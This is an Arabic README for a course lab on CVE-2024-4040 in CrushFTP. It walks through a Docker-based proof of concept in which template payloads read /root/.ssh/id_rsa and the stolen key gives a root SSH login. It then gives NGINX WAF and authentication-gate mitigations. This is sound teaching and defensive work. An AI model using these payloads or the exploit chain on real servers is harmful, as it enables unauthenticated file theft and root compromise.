
استغلال إثبات مفهوم لـ CVE-2024-4040، يوضح SSTI غير مصادق عليه وقراءة ملفات محلية في CrushFTP، مع مختبر Docker واستراتيجيات تخفيف.
للاستخدام التعليمي والمعملي المصرح به فقط.
لوحدة CS443 أمن البرمجيات والأنظمة. تم تنفيذ التمرين في بيئة Docker محلية خاضعة للتحكم.
| الحقل | التفصيل |
|---|---|
| CVE | CVE-2024-4040 |
| البرنامج المتأثر | CrushFTP < 10.7.1 (فرع v10) / < 11.1.0 (فرع v11) |
| نوع الثغرة | حقن قالب من جانب الخادم (SSTI) → قراءة ملفات محلية بدون مصادقة |
| درجة CVSS | 9.8 حرجة |
| الأثر | يمكن للمهاجمين غير المصادقين قراءة ملفات عشوائية من نظام ملفات الخادم |
يقوم WebInterface في CrushFTP بتقييم تعبيرات القوالب في معامل path لأمر zip دون تنقية. يمكن للمهاجم غير المصادق الحصول على ملفات تعريف ارتباط جلسة مجهولة، ثم استخدامها لتمرير حمولات القوالب ({working_dir}، <INCLUDE>…</INCLUDE>) التي يقوم الخادم بتقييمها وإرجاعها — مما يسمح بقراءة ملفات عشوائية عبر المضيف.
| المكون | القيمة |
|---|---|
| الهدف | http://localhost:8080 |
| إصدار CrushFTP الأساسي لـ PoC | 10.3.0 (ضعيف عمدًا) |
| بيئة اختبار Mitigation 3 | حاوية منفصلة تعمل بـ CrushFTP 11.x (الفرع المُصحَّح) |
| منفذ SSH (الحاوية) | 2222 → 22 |
| بيانات اعتماد المشرف | admin / admin |
| وقت تشغيل الحاوية | Docker (Compose) |
pip install requests rich
| البرنامج النصي | المصدر | الغرض |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | استغلال SSTI/LFI كامل — سرقة الجلسة، قراءة ملفات عشوائية |
recon.py | هذا المستودع | كشف الإصدار، فحص SSTI مباشر، تأكيد الثغرة |
docker-compose up -d
انتظر حوالي 10 ثوانٍ حتى يكتمل تهيئة CrushFTP قبل تشغيل البرامج النصية.
ليست هناك حاجة لخطوة استطلاع منفصلة هنا لأن crushed.py يتحقق بالفعل مما إذا كان الاستغلال ممكنًا أثناء التنفيذ.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
سيقوم البرنامج النصي بـ:
CrushAuth / currentAuth من /WebInterface/{working_dir} لحل دليل تثبيت CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> لقراءة الملف المستهدفانسخ كتلة المفتاح الخاص من المخرجات (كل شيء من -----BEGIN OPENSSH PRIVATE KEY----- إلى -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<الصق المفتاح من المخرجات>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
مهاجم غير مصادق
│
▼
GET /WebInterface/ ← يحصل على ملفات تعريف الارتباط CrushAuth + currentAuth المجهولة
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← تأكيد SSTI — تم تقييم القالب بواسطة الخادم
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← يسرب مسار التثبيت المطلق
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← قراءة ملف عشوائي
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← قشرة جذر كاملة
| المشكلة | الموقع | التفاصيل |
|---|---|---|
| اعتماد مفقود | السطور 6–9 | يتطلب pip install rich قبل التشغيل |
| تحليل XML هش | السطور 86، 140 | يتعطل مع استجابات الخادم غير XML؛ لا معالجة لـ ParseError |
| التعبير النمطي للرمز صارم جدًا | السطور 160–161 | قد لا يتطابق نمط CrushAuth=…; currentAuth=… مع جميع تنسيقات sessions.obj |
| فقط HTTP 404 | السطر 53 | ينجح الحصول على ملف تعريف الارتباط فقط عند 404؛ يمر بصمت على رموز الحالة الأخرى |
يعمل WAF كوسيط عكسي يفحص حركة مرور HTTP/S الواردة قبل وصولها إلى CrushFTP. باستخدام NGINX مع ModSecurity، يتم حظر الطلبات الضارة التي تستغل CVE-2024-4040 على حافة الشبكة دون تعديل CrushFTP نفسه.
../, %2e%2e) في عناوين URI للطلب وملفات تعريف الارتباطاستخدم Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
استخدم Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
مهاجم -> NGINX WAF (المنفذ 80) -> يحجب الضار -> 403 ممنوع
-> يمرر النظيف -> CrushFTP:8080
يمكن استغلال CVE-2024-4040 دون مصادقة. في هذا المختبر، يتم حظر الوصول من النمط المجهول على طبقة NGINX عن طريق طلب رأس Authorization قبل توجيه المسارات الحساسة إلى CrushFTP.
crushed.py على الوصول غير المصادق؛ يتم رفض الطلبات بدون بيانات اعتماد بـ 401/WebInterface/ و / ما لم تكن بيانات المصادقة موجودةservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# السماح بالأصول الثابتة بدون مصادقة
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# حظر الوصول غير المصادق إلى WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# حظر كل شيء آخر بدون مصادقة
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}